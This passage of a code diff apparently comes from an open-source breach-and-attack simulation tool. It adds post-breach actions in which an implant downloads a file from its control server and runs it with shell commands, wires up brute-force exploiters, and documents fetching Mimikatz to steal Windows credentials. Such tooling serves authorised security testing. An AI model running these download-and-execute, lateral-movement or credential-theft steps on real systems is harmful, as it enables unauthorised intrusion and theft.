LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True) LOG.error('Error sending the payload using xp_cmdshell to host', exc_info=True)
self.ftp_server_p.terminate() self.ftp_server_p.terminate()
@ -174,7 +168,7 @@ class CmdShellAttack(AttackHost):
self.ftp_server_p.terminate() self.ftp_server_p.terminate()
return False return False
except pymssql.OperationalError: except pymssql.OperationalError as e:
LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True) LOG.error('Executing payload: {0} failed'.format(payload_file_name), exc_info=True)
self.ftp_server_p.terminate() self.ftp_server_p.terminate()
return False return False
@ -193,7 +187,7 @@ class CmdShellAttack(AttackHost):
LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True) LOG.error('Error cleaning the attack files using xp_cmdshell, files may remain on host', exc_info=True)
return False return False
def __init_ftp_server(self): def __init_ftp_server(self, host):
""" """
Init an FTP server using FTP class on a different process Init an FTP server using FTP class on a different process
@ -203,7 +197,7 @@ class CmdShellAttack(AttackHost):
""" """
try: try:
ftp_s = FTP() ftp_s = FTP(host)
multiprocessing.log_to_stderr(logging.DEBUG) multiprocessing.log_to_stderr(logging.DEBUG)
p = multiprocessing.Process(target=ftp_s.run_server) p = multiprocessing.Process(target=ftp_s.run_server)
p.start() p.start()

View File

@ -16,6 +16,7 @@ from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from infection_monkey.utils import utf_to_ascii from infection_monkey.utils import utf_to_ascii
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer' __author__ = 'hoffer'
@ -235,6 +236,7 @@ class CMDClientFactory(rdp.ClientFactory):
class RdpExploiter(HostExploiter): class RdpExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host): def __init__(self, host):
super(RdpExploiter, self).__init__(host) super(RdpExploiter, self).__init__(host)

View File

@ -9,12 +9,14 @@ from infection_monkey.model import MONKEY_CMDLINE_DETACHED_WINDOWS, DROPPER_CMDL
from infection_monkey.network import SMBFinger from infection_monkey.network import SMBFinger
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
LOG = getLogger(__name__) LOG = getLogger(__name__)
class SmbExploiter(HostExploiter): class SmbExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
KNOWN_PROTOCOLS = { KNOWN_PROTOCOLS = {
'139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139),
'445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445),

View File

@ -10,6 +10,7 @@ from infection_monkey.exploit.tools import get_target_monkey, get_monkey_depth
from infection_monkey.model import MONKEY_ARG from infection_monkey.model import MONKEY_ARG
from infection_monkey.network.tools import check_tcp_port from infection_monkey.network.tools import check_tcp_port
from infection_monkey.exploit.tools import build_monkey_commandline from infection_monkey.exploit.tools import build_monkey_commandline
from common.utils.exploit_enum import ExploitType
__author__ = 'hoffer' __author__ = 'hoffer'
@ -20,6 +21,7 @@ TRANSFER_UPDATE_RATE = 15
class SSHExploiter(HostExploiter): class SSHExploiter(HostExploiter):
_TARGET_OS_TYPE = ['linux', None] _TARGET_OS_TYPE = ['linux', None]
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host): def __init__(self, host):
super(SSHExploiter, self).__init__(host) super(SSHExploiter, self).__init__(host)

View File

@ -7,7 +7,6 @@ import socket
import struct import struct
import sys import sys
import urllib import urllib
from difflib import get_close_matches
from impacket.dcerpc.v5 import transport, srvs from impacket.dcerpc.v5 import transport, srvs
from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom import wmi
@ -19,7 +18,6 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT
import infection_monkey.config import infection_monkey.config
import infection_monkey.monkeyfs as monkeyfs import infection_monkey.monkeyfs as monkeyfs
from infection_monkey.network import local_ips
from infection_monkey.network.firewall import app as firewall from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, get_routes from infection_monkey.network.info import get_free_tcp_port, get_routes
from infection_monkey.transport import HTTPServer, LockedHTTPServer from infection_monkey.transport import HTTPServer, LockedHTTPServer
@ -418,9 +416,15 @@ class HTTPTools(object):
def get_interface_to_target(dst): def get_interface_to_target(dst):
if sys.platform == "win32": if sys.platform == "win32":
ips = local_ips() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
matches = get_close_matches(dst, ips) try:
return matches[0] if (len(matches) > 0) else ips[0] s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else: else:
# based on scapy implementation # based on scapy implementation
@ -430,17 +434,17 @@ def get_interface_to_target(dst):
routes = get_routes() routes = get_routes()
dst = atol(dst) dst = atol(dst)
pathes = [] paths = []
for d, m, gw, i, a in routes: for d, m, gw, i, a in routes:
aa = atol(a) aa = atol(a)
if aa == dst: if aa == dst:
pathes.append((0xffffffff, ("lo", a, "0.0.0.0"))) paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m): if (dst & m) == (d & m):
pathes.append((m, (i, a, gw))) paths.append((m, (i, a, gw)))
if not pathes: if not paths:
return None return None
pathes.sort() paths.sort()
ret = pathes[-1][1] ret = paths[-1][1]
return ret[1] return ret[1]

View File

@ -9,12 +9,14 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \ from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
get_monkey_depth, build_monkey_commandline get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
LOG = logging.getLogger(__name__) LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter): class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows'] _TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host): def __init__(self, host):
super(WmiExploiter, self).__init__(host) super(WmiExploiter, self).__init__(host)

View File

@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.windows_upgrader import WindowsUpgrader from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
__author__ = 'itamar' __author__ = 'itamar'
@ -76,6 +79,9 @@ class InfectionMonkey(object):
LOG.info("Monkey couldn't find server. Going down.") LOG.info("Monkey couldn't find server. Going down.")
return return
# Create a dir for monkey files if there isn't one
utils.create_monkey_dir()
if WindowsUpgrader.should_upgrade(): if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True self._upgrading_to_64 = True
self._singleton.unlock() self._singleton.unlock()
@ -113,6 +119,8 @@ class InfectionMonkey(object):
action = action_class() action = action_class()
action.act() action.act()
PostBreach().execute()
if 0 == WormConfiguration.depth: if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down") LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down") ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -167,44 +175,19 @@ class InfectionMonkey(object):
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine)) LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server) machine.set_default_server(self._default_server)
successful_exploiter = None # Order exploits according to their type
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]: for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if not exploiter.is_os_supported(): if self.try_exploiting(machine, exploiter):
LOG.info("Skipping exploiter %s host:%r, os is not supported", host_exploited = True
exploiter.__class__.__name__, machine) VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
continue
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
result = exploiter.exploit_host()
if result:
successful_exploiter = exploiter
break
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
finally:
exploiter.send_exploit_telemetry(result)
if successful_exploiter:
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
break break
else: if not host_exploited:
self._fail_exploitation_machines.add(machine) self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running:
break
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1): if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
time_to_sleep = WormConfiguration.timeout_between_iterations time_to_sleep = WormConfiguration.timeout_between_iterations
@ -242,6 +225,7 @@ class InfectionMonkey(object):
self.send_log() self.send_log()
self._singleton.unlock() self._singleton.unlock()
utils.remove_monkey_dir()
InfectionMonkey.self_delete() InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down") LOG.info("Monkey is shutting down")
@ -279,3 +263,50 @@ class InfectionMonkey(object):
log = '' log = ''
ControlClient.send_log(log) ControlClient.send_log(log)
def try_exploiting(self, machine, exploiter):
"""
Workflow of exploiting one machine with one exploiter
:param machine: Machine monkey tries to exploit
:param exploiter: Exploiter to use on that machine
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
result = exploiter.exploit_host()
if result:
self.successfully_exploited(machine, exploiter)
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
finally:
exploiter.send_exploit_telemetry(result)
return False
def successfully_exploited(self, machine, exploiter):
"""
Workflow of registering successfully exploited machine
:param machine: machine that was exploited
:param exploiter: exploiter that succeeded
"""
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)

View File

@ -0,0 +1,68 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -0,0 +1,68 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.name = name
def run(self, is_linux):
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
@staticmethod
def _execute_default(command):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False

View File

@ -0,0 +1,83 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -13,7 +13,7 @@ The monkey is composed of three separate parts.
Download and install from: https://www.python.org/downloads/release/python-2715/ Download and install from: https://www.python.org/downloads/release/python-2715/
2. Add python directories to PATH environment variable (if you didn't install ActiveState Python) 2. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different) a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts
b. Close the console, make sure you execute all commands in a new cmd console from now on. b. Close the console, make sure you execute all commands in a new cmd console from now on.
3. Install further dependencies 3. Install further dependencies
a. install VCForPython27.msi a. install VCForPython27.msi
@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries
-- Mimikatz -- -- Mimikatz --
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
You can either build them yourself or download pre-built binaries.
a. Build Mimikatz yourself a. Build Mimikatz yourself
a.0. Building mimikatz requires Visual Studio 2013 and up a.0. Building mimikatz requires Visual Studio 2013 and up
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0 a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
@ -84,7 +83,7 @@ a. Build Mimikatz yourself
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly. a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work. a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
b. Download our pre-built traceroute binaries b. Download our pre-built mimikatz binaries
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0 b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
b.2. Place them under [code location]\infection_monkey\bin b.2. Place them under [code location]\infection_monkey\bin

View File

@ -17,3 +17,4 @@ ipaddress
wmi wmi
pymssql pymssql
pyftpdlib pyftpdlib
enum34

View File

@ -17,4 +17,5 @@ ipaddress
wmi wmi
pywin32 pywin32
pymssql pymssql
pyftpdlib pyftpdlib
enum34

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,41 @@
from infection_monkey.config import WormConfiguration, GUID
import requests
import json
from infection_monkey.control import ControlClient
import logging
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
class AttackTelem(object):
def __init__(self, technique, status, data=None):
"""
Default ATT&CK telemetry constructor
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param data: Other data relevant to the attack technique
"""
self.technique = technique
self.result = status
self.data = {'status': status, 'id': GUID}
if data:
self.data.update(data)
def send(self):
"""
Sends telemetry to island
"""
if not WormConfiguration.current_server:
return
try:
requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
data=json.dumps(self.data),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)

View File

@ -0,0 +1,18 @@
from infection_monkey.transport.attack_telems.base_telem import AttackTelem
__author__ = "VakarisZ"
class VictimHostTelem(AttackTelem):
def __init__(self, technique, status, machine, data=None):
"""
ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param machine: VictimHost obj from model/host.py
:param data: Other data relevant to the attack technique
"""
super(VictimHostTelem, self).__init__(technique, status, data)
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
self.data.update({'machine': victim_host})

View File

@ -1,5 +1,6 @@
import os import os
import sys import sys
import shutil
import struct import struct
from infection_monkey.config import WormConfiguration from infection_monkey.config import WormConfiguration
@ -35,3 +36,25 @@ def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii. # Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8") udata = string.decode("utf-8")
return udata.encode("ascii", "ignore") return udata.encode("ascii", "ignore")
def create_monkey_dir():
"""
Creates directory for monkey and related files
"""
if not os.path.exists(get_monkey_dir_path()):
os.mkdir(get_monkey_dir_path())
def remove_monkey_dir():
"""
Removes monkey's root directory
"""
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
def get_monkey_dir_path():
if is_windows_os():
return WormConfiguration.monkey_dir_windows
else:
return WormConfiguration.monkey_dir_linux

View File

@ -27,9 +27,12 @@ from monkey_island.cc.resources.report import Report
from monkey_island.cc.resources.root import Root from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.services.config import ConfigService from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem
__author__ = 'Barak' __author__ = 'Barak'
@ -121,6 +124,11 @@ def init_app(mongo_url):
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
return app return app

View File

@ -0,0 +1,24 @@
import flask_restful
from flask import request
import json
from monkey_island.cc.services.attack.attack_telem import set_results
import logging
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class AttackTelem(flask_restful.Resource):
"""
ATT&CK endpoint used to retrieve matrix related info from monkey
"""
def post(self, technique):
"""
Gets ATT&CK telemetry data and stores it in the database
:param technique: Technique ID, e.g. T1111
"""
data = json.loads(request.data)
set_results(technique, data)
return {}

View File

@ -0,0 +1,14 @@
import flask_restful
from flask import send_from_directory
from monkey_island.cc.resources.pba_file_upload import GET_FILE_DIR
__author__ = 'VakarisZ'
class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -0,0 +1,83 @@
import flask_restful
from flask import request, send_from_directory, Response
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
from monkey_island.cc.auth import jwt_required
import os
from werkzeug.utils import secure_filename
import logging
import copy
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
GET_FILE_DIR = "./userUploads"
# Front end uses these strings to identify which files to work with (linux of windows)
LINUX_PBA_TYPE = 'PBAlinux'
WINDOWS_PBA_TYPE = 'PBAwindows'
class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""
Sends file to filepond
:param file_type: Type indicates which file to send, linux or windows
:return: Returns file contents
"""
# Verify that file_name is indeed a file from config
if file_type == LINUX_PBA_TYPE:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
else:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
return send_from_directory(GET_FILE_DIR, filename)
@jwt_required()
def post(self, file_type):
"""
Receives user's uploaded file from filepond
:param file_type: Type indicates which file was received, linux or windows
:return: Returns flask response object with uploaded file's filename
"""
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
response = Response(
response=filename,
status=200, mimetype='text/plain')
return response
@jwt_required()
def delete(self, file_type):
"""
Deletes file that has been deleted on the front end
:param file_type: Type indicates which file was deleted, linux of windows
:return: Empty response
"""
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
filename = ConfigService.get_config_value(filename_path)
file_path = os.path.join(UPLOADS_DIR, filename)
try:
if os.path.exists(file_path):
os.remove(file_path)
ConfigService.set_config_value(filename_path, '')
except OSError as e:
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
return {}
@staticmethod
def upload_pba_file(request_, is_linux=True):
"""
Uploads PBA file to island's file system
:param request_: Request object containing PBA file
:param is_linux: Boolean indicating if this file is for windows or for linux
:return: filename string
"""
filename = secure_filename(request_.files['filepond'].filename)
file_path = os.path.join(UPLOADS_DIR, filename)
request_.files['filepond'].save(file_path)
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
return filename

View File

@ -10,6 +10,7 @@ from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService from monkey_island.cc.services.report import ReportService
from monkey_island.cc.utils import local_ip_addresses from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.post_breach_files import remove_PBA_files
__author__ = 'Barak' __author__ = 'Barak'
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
@staticmethod @staticmethod
@jwt_required() @jwt_required()
def reset_db(): def reset_db():
remove_PBA_files()
# We can't drop system collections. # We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config() ConfigService.init_config()

View File

@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
if len(credential) > 0: if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential.encode('utf-8')) attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
@staticmethod
def process_post_breach_telemetry(telemetry_json):
mongo.db.monkey.update(
{'guid': telemetry_json['monkey_guid']},
{'$push': {'pba_results': telemetry_json['data']}})
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
{ {
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
'exploit': Telemetry.process_exploit_telemetry, 'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry, 'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry 'trace': Telemetry.process_trace_telemetry,
'post_breach': Telemetry.process_post_breach_telemetry
} }

View File

@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
def get_trace_telem_brief(telem): def get_trace_telem_brief(telem):
return 'Monkey reached max depth.' return 'Monkey reached max depth.'
@staticmethod
def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
telem['data']['hostname'],
telem['data']['ip'])
TELEM_PROCESS_DICT = \ TELEM_PROCESS_DICT = \
{ {
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
'exploit': TelemetryFeed.get_exploit_telem_brief, 'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief,
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief 'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief
} }

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,19 @@
"""
File that contains ATT&CK telemetry storing/retrieving logic
"""
import logging
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
def set_results(technique, data):
"""
